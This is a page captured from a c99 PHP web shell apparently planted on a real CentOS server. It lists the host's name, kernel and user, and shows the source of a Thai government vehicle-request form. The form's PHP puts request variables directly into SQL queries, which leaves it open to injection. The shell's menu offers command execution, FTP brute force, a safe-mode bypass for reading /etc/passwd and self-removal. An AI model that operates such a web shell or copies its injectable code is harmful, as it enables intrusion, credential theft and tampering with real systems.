!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Car_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailFormCar.php (20.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
            require_once( 
"../calendar/check.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "formcaroffice";
        
$myTable3 "province";
        
$myTable4 "training_tb";
        
        
                
        
/**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE   carId='$carId'  AND  Teacher_code='$Teacher_code'   ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
$query " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  Teacher_code='$rs1[Teacher_code]' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
//$Teacher_code = $rss['Teacher_code'];
        /**  Table  -->  techplan_method_tb  */
          
$query2 " SELECT *  FROM $myTable3   WHERE   ProvinceId='$rs1[ProvinceId]'     ";
          
$result2 $dbObj->execQuery($query2);
           
$rs2 $dbObj->fetchArray($result2);
        
        
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - แก้ไขข้อมูลแผนการสอน</title>
<style type="text/css">
<!--
.style21 {font-size: 14px}
.style11 {font-size: 14px;
    font-family: Tahoma;
}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="774" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
  
    <td width="774" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="735" border="0" align="center" cellpadding="0" cellspacing="0">
      <form id="pc" name="pc" method="post" action="EditFromA.php?Teacher_code=<?=$Teacher_code;?>&Training_code=<?=$Training_code;?>&codeId=<?=$codeId;?>">
      <tr>
        <td width="735" height="5"></td>
      </tr>
      <tr>
        <td align="center">
          <?php

        ?>
          <table width="713" align="center" cellpadding="0" cellspacing="0">
            <tr height="31">
              <td height="31" colspan="6" align="center" class="PATRON11"><table width="707" border="0">
                <tr>
                  <th width="151" height="63" scope="col"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style21"><img src="../picture/krud.jpg" width="70" height="61" border="0" align="absmiddle" /></span></font></th>
                  <th width="402" align="center" scope="col">ใบขออนญาตใช้รถยนต์ของทางราชการ</th>
                  <th width="140" align="right" scope="col">&nbsp;</th>
                  </tr>
                </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6">ส่วนราชการ<font size="2" face="Tahoma"></a><font color="#0000FF" size="2" face="Tahoma">
                <input type="text" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php            $collegeCode =  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'   ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>" size="40" />
                </font></td>
              <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />
            </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">ที่&nbsp;&nbsp;<font color="#0000FF" size="2" face="Tahoma">
                <input type="text" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1['CarNo'];?>" size="15" />
                </font></td>
              <td></td>
              <td><span class="style1">วันที่ &nbsp;<font color="#0000FF" size="2" face="Tahoma">
                <input name="Date2" type="text" id="Date2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value="<?php echo dateThai($rs1['Date']); ?>" />
                </font></td>
              <td></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">เรื่อง  <font color="#0000FF" size="2" face="Tahoma">
                <input name="Da " type="text" id="Da " style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขออนุญาตใช้รถยนต์ราชการ" size="20" />
                </font></td>
              <td width="35"></td>
              <td width="251">&nbsp;</td>
              <td width="49"></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ<font color="#0000FF" size="2" face="Tahoma">
                <input type="text" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  $collegeCode =  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'   ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>" size="40" />
              </font></td>
              <td></td>
              </tr>
            <tr height="29">
              <td width="111" height="25"></td>
              <td colspan="5" align="left">ข้าพเจ้า</a>
                <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " />
                </a> ตำแหน่ง</a>
                <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                </a></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left"><label>ขออนุญาตใช้รถไปราชการที่<font color="#0000FF" size="2" face="Tahoma">
                <input name="makeWord" type="text" id="makeWord" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="50"  value="<?=$rs1["makeWord"]; ?>"/>
                </font>จังหวัด<font color="#0000FF" size="2" face="Tahoma">
                  <input name="provinceId" type="text" id="provinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" <?php 
       $query2 
" SELECT *  FROM $myTable3   WHERE  provinceId='$rs1[provinceId]'     ";
                 
$result2 $dbObj->execQuery($query2);
                
$rs2 $dbObj->fetchArray($result2);
                      echo 
$rs2[provinceName];
    
?>" />
                  </font></label></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">เพื่อ</a>
                <input name="MakePer" type="text" id="MakePer" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70" value="<? echo $rs1["Training_name"]; ?>"/>                </a>จำนวนผู้โดยสาร</a>
              <input name="Make" type="text" id="Make" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" value="<? echo $rs1["Make"]; ?>" />
              </a>คน</a></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">หมายเหตุ</a>
              <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1["Detail"]; ?>" size="80" />
              </a></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">ประเภทในการขอใช้รถยนต์
                <input type="radio" name="Training_type" value="1" <? if ($rs1["Training_type"] == 1) echo "checked"?>  />การอบรม
                <input type="radio" name="Training_type" value="2" <? if ($rs1["Training_type"] == 2) echo "checked"?> /> การศึกษาดูงาน
  <input type="radio" name="Training_type" value="3" <? if ($rs1["Training_type"] == 3) echo "checked"?>  /> ประชุม
  <input type="radio" name="Training_type" value="4" <? if ($rs1["Training_type"] == 4) echo "checked"?> /> สัมมนา
  <input type="radio" name="Training_type" value="7" <? if ($rs1["Training_type"] == 7) echo "checked"?>  />   วิทยากร
  <input type="radio" name="Training_type" value="6" <? if ($rs1["Training_type"] == 6) echo "checked"?> /> 
  นิเทศงาน/สอน</td>
              </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">สถานะการเดินทาง
                <input name="object" type="radio" id="object" value="1"  <? if ($rs1["object"] == 1) echo "checked"?>  />ค้างคืน
                <input name="object" type="radio" id="object" value="2"   <? if ($rs1["object"] == 2) echo "checked"?> />ไปกลับ
                <input name="object" type="radio" id="object" value="3"   <? if ($rs1["object"] == 3) echo "checked"?>  />
                ส่งอย่างเดียว 
                <input name="object" type="radio" id="object" value="4"   <? if ($rs1["object"] == 4) echo "checked"?>  />
                รับอย่างเดียว 
                <input name="object" type="radio" id="object" value="5"   <? if ($rs1["object"] == 5) echo "checked"?>  />
                รับส่ง 
</forn>ปีงบประมาณ<span class="style5">*</span>
                <input name="Budget_year" type="text" id="Budget_year" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1[Budget_year]; ?>" size="4" maxlength="4" /></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">อ้างการขอใช้ ในระหว่าง วันที่<font color="#000000">&nbsp; &nbsp;&nbsp;</font><font color="#0000FF" size="2" face="Tahoma">
                <input name="Date_start" type="text" id="Date_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" <?php echo dateThai($rs1['Date_start']); ?>" />
                </font><font color="#003366" size="2" face="Tahoma"> &nbsp;&nbsp;&nbsp;</font>สิ้นสุดวันที่ <font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;&nbsp;</font><font color="#0000FF" size="2" face="Tahoma">
                  <input name="Date_finish" type="text" id="Date_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value="<?php echo dateThai($rs1['Date_finish']); ?>" />
                  </font></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left"><p>โดย   
                <label>
                  <input type="radio" name="usecar" value="1"  <? if ($rs1["usecar"] == 1) echo "checked"?>/>
                  </label> 
                ใช้ พขร      
                <label>
                  <input type="radio" name="usecar" value="0" <? if ($rs1["usecar"] == 2) echo "checked"?>/>
                  </label> 
                ไม่ใช พขร วันที่ใช้ <font color="#0000FF" size="2" face="Tahoma">
                <input name="DateCar" type="text" id="DateCar" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value="<?php echo dateThai($rs1['DateCar']); ?>" />
                </font>   ตั้งแต่เวลา<font color="#0000FF" size="2" face="Tahoma">
                  <input name="Time_start" type="text" id="Time_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs1['Time_start'];?>" size="5" maxlength="5"/>
                  </font>น.  ถึงเวลา <font color="#0000FF" size="2" face="Tahoma">
                    <input name="Time_finish" type="text" id="Time_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="5" maxlength="5" value="<?=$rs1['Time_finish'];?>"/>
                    </font>น. </p></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left"><U><b>ความเห็นของผู้ควบคุมการใช้รถยนต์</b></U></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">เห็นสมควรแจ้ง &nbsp;
                <?
                $name1  
$rs1["name1"];
              
$sql "Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code ='$name1'";
              
$result3 mysql_query($sql) or die("Error".mysql_error());
             
$rs3 mysql_fetch_array($result3);
          echo 
"$rs3[First_name] $rs3[Teacher_name]&nbsp;&nbsp;$rs3[Teacher_lastname]";?>
&nbsp;
 ให้ทราบ &nbsp; &nbsp; &nbsp; และให้ใช้รถยนต์
<?
                $sql 
"Select * From   automobile_tb   Where CarmoId ='$rs1[CarmoId]' ";
              
$result2 mysql_query($sql) or die("Error".mysql_error());
              
$rs2 mysql_fetch_array($result2);
          echo 
"$rs2[Acc_name]&nbsp;ยี่ห้อ&nbsp; $rs2[Kind]&nbsp;ทะเบียน&nbsp;$rs2[CodeNo]";?></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="3">&nbsp;</td>
              <td></td>
              <td></td>
              <td></td>
            </tr>
            <tr height="31">
              <td height="31" align="left">&nbsp;</td>
              <td width="95">&nbsp;</td>
              <td width="170">&nbsp;</td>
              <td>&nbsp;</td>
              <td align="center">ลงชื่อ .................................</td>
              <td></td>
            </tr>
            <tr height="29">
              <td height="29">&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td></td>
              <td align="center">(<font color="#003366" size="1" face="Tahoma"> <? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font> )</td>
              <td></td>
              </tr>
            <tr height="31">
              <td height="31">&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td colspan="3" align="left"><span class="style13">ความเห็นหัวหน้าหน่วยงาน</span></td>
              </tr>
            <tr height="29">
              <td height="28" colspan="2"><strong> </strong>ความเห็นของผู้ควบคุมการใช้รถยนต์</td>
              <td></td>
              <td colspan="3"><font color="#0000FF" size="2" face="Tahoma">
                <input name="Info_name" type="text" id="Info_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" />
              </font></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left"><input name="Status" type="checkbox" id="Status" value="อนุมัติ" <?php if($rs1["Status"] == "อนุมัติ" ) echo 'checked'?> disabled="disabled" />
อนุมัติ  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
<input name="Status" type="checkbox" id="Status" value="ไม่อนุมัติ"  <?php if($rs1["Status"] == "ไม่อนุมัติ" ) echo 'checked'?> disabled="disabled" />
ไม่อนุมัติ</td>
              <td></td>
              <td></td>
              <td></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">ลงชื่อ.............................ผู้จัดยานพาหนะ&nbsp; </td>
              <td></td>
              <td>...................................</td>
              <td></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="2" align="center">(..................................) </td>
              <td align="left">                                        </td>
              <td colspan="3" align="left">ลงชื่อ<a>
                <?php
                    
//$Teacher_code =  $rss["TeacherId"];
                    
$sql "Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where  Faculty_code ='$Faculty_code'  and   TeacherId='1'  ";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rs2 mysql_fetch_array($result1);
                    echo 
"$rs2[First_name]$rs2[Teacher_name] &nbsp;&nbsp;$rs2[Teacher_lastname]";
                 
?></a>  <input name="TeacherId" type="hidden" id="TeacherId" value="<? echo $rs2["Teacher_code"]?>" /></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">&nbsp;</td>
              <td colspan="3" align="left">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
                <input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value="<? $PositionId =  $rs2["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
              </font></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="2">&nbsp;</td>
              <td></td>
              <td colspan="3" align="left">วันที่.....เดือน...........พ.ศ.....</td>
            </tr>
            <tr height="31">
              <td height="31"></td>
              <td></td>
              <td></td>
              <td align="left">คำสั่ง</td>
              <td></td>
              <td></td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td align="left"></td>
              <td colspan="2" align="left"><label>
                <input type="checkbox" name="checkbox" value="checkbox" />
                </label>
                อนมัติ         
                <input type="checkbox" name="checkbox2" value="checkbox" />
                ไม่อนุมัติ</td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left"> (ลงชื่อ)........................……..</td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left">&nbsp;</td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left">วันที่.....เดือน............พ.ศ.......</td>
            </tr>
            <tr height="31">
              <td height="10" colspan="6" align="center">&nbsp;</td>
            </tr>
            </table></td>
      </tr>
      <tr>
        <td align="center">&nbsp;</td>
      </tr>
      </form>
    </table>
   </fieldset></td>
  </tr>
</table>

</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--